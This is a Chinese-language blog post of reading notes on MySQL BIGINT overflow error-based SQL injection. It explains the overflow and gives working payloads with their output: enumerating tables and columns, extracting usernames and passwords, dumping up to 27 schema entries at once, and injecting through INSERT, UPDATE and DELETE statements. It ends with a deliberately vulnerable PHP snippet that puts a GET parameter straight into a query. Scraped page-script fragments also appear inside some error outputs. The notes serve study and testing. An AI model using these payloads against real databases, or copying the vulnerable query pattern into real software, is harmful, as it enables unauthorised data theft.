MySQL 的 BIGINT 报错注入

本文最后更新于:3 年前

基于 BIGINT 溢出错误的 SQL 注入 - web 安全 - mssp299

阅读笔记

0x01 概述

  1. sql 存储整数的方式
  2. 只有 5.5.5 及其以上版本的 MySQL 才会产生溢出错误消息,之下的版本对于整数溢出不会发送任何消息。
  3. BIGINT 的长度为 8 字节,64 比特。这种数据类型最大的有符号值,用二进制、十六进制和十进制的表示形式分别为:
    0b0111111111111111111111111111111111111111111111111111111111111111
    0x7fffffffffffffff
    9223372036854775807
    当对这个值进行某些数值运算的时候,比如加法运算,就会引起 BIGINT value is out of range. 如:
    select 9223372036854775807+1;

  4. 对于无符号整数来说,BIGINT 可以存放的最大值用二进制、十六进制和十进制表示分别为
    0b1111111111111111111111111111111111111111111111111111111111111111
    0xFFFFFFFFFFFFFFFF
    18446744073709551615
    同样的,如果对这个值进行数值表达式运算,如加法或减法运算,同样也会导致
    BIGINT value is out of range 错误:

  5. 对数值 0 逐位取反,结果会得到一个无符号的最大 BIGINT 值
    0b0000000000000000000000000000000000000000000000000000000000000000
    ->
    0b1111111111111111111111111111111111111111111111111111111111111111
    所以, select ~0 的结果将是 18446744073709551615:

    那么, 对 ~0 进行数值表达式运算,如加法或减法运算,也会导致 BIGINT 溢出错误:

0x02 注入技术

  1. 基于 BIGINT 溢出错误的 SQL 注入需要有 0 这个关键点出现, 而如果一个查询成功返回,其返回值为 0:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    mysql> select (select*from(select user())x);
    +-------------------------------+
    | (select*from(select user())x) |
    +-------------------------------+
    | [email protected] |
    +-------------------------------+
    1 row in set (0.00 sec)

    mysql> select !(select*from(select user())x);
    +--------------------------------+
    | !(select*from(select user())x) |
    +--------------------------------+
    | 1 |
    +--------------------------------+
    1 row in set (0.00 sec)

    mysql>
    所以,我们可以这样利用:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    mysql> select ~(select*from(select user())x);
    +--------------------------------+
    | ~(select*from(select user())x) |
    +--------------------------------+
    | 18446744073709551615 |
    +--------------------------------+
    1 row in set (0.02 sec)

    mysql> select 1+~(select*from(select user())x);
    ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~((select '[email protected]' from dual)))'
    组合好逐位取反和逻辑取反运算,我们就能利用溢出错误来成功的注入查询。当然,方案有很多种。
  2. 利用这种基于 BIGINT 溢出错误的注入手法,我们可以几乎可以使用 MySQL 中所有的数学函数,因为它们也可以进行取反,具体用法如下所示:
    1
    2
    3
    4
    5
    6
    7
    8
    mysql> select !atan((select*from(select user())a))-~0;
    ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(atan((select 'root@localhost' from dual)))) - ~(0))'

    mysql> select !ceil((select*from(select user())a))-~0;
    ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(ceiling((select 'root@localhost' from dual)))) - ~(0))'

    mysql> select !floor((select*from(select user())a))-~0;
    ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(floor((select 'root@localhost' from dual)))) - ~(0))'
    以下函数同样可以:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    HEX
    IN
    FLOOR
    CEIL
    RAND
    CEILING
    TRUNCATE
    TAN
    SQRT
    ROUND
    SIGN
    EXP
    ...

0x03 提取数据

提取数据的方法,跟其他注入攻击手法中的一样:

  1. 获取表名:
    1
    select !(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0;
  2. 取得列名:
    1
    select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;
  3. 检索数据:
    1
    select !(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;

0x04 一次性转储

从所有数据库中转储数据表和列的时候,只能得到较少的结果,毕竟我们是通过错误消息来检索数据的。但是从当前数据库中转储数据的话,一次最多可以转储 27 个结果:

1
2
3
4
5
select !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0;

(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat; (@,0xa,table_name,0x3a3a,column_name)),@))x)a)

(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_name,0x3a3a,column_name)),@))x)a);

这些限制了我们可以检索的结果的数量,即最多 27 个。假设,我们在一个数据库中创建了一个 31 列的数据表。 那么,我们只能看到 27 个结果,而我的其他 4 个表和该用户数据表的其他列都无法返回。

0x05 利用插入语句进行注入

利用插入语句,我们也可以进行类似的注入攻击,具体语法为 '' or (payload) or ""

1
2
3
mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre');

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */' from dual))) - ~(0))'

1
2
3
4
5
insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual))) - ~(0))'

0x06 利用更新语句进行注入

利用更新语句,我们照样可以进行类似的注入,具体如下所示:

1
2
3
mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */' from dual))) - ~(0))'

0x07 利用删除语句进行注入

利用删除语句,我们照样可以进行类似的注入,具体如下所示:

1
2
mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '[email protected]' from dual))) - ~(0))'

0x08 小结
本文的攻击之所以得逞,是因为 mysql_error()会向我们返回错误消息,只要这样,我们才能够利用它来进行注入。 这一功能,是在 5.5.5 及其以上版本提供的。对于这些溢出攻击,还有许多不同的形式。 例如:

1
2
3
4
mysql> select !1-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(1)) - (0 ^ 222))'
mysql> select !(select*from(select user())a)-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '[email protected]' from dual))) - (0 ^ 222))'

记录

一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php   

if(isset($_GET['Submit'])){

// Retrieve data

$id = $_GET['id'];

$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num = mysql_numrows($result);

$i = 0;

while ($i < $num) {

$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");

$html .= '<pre>';
$html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
$html .= '</pre>';

$i++;
}
}
?>

payload:


来呀快活呀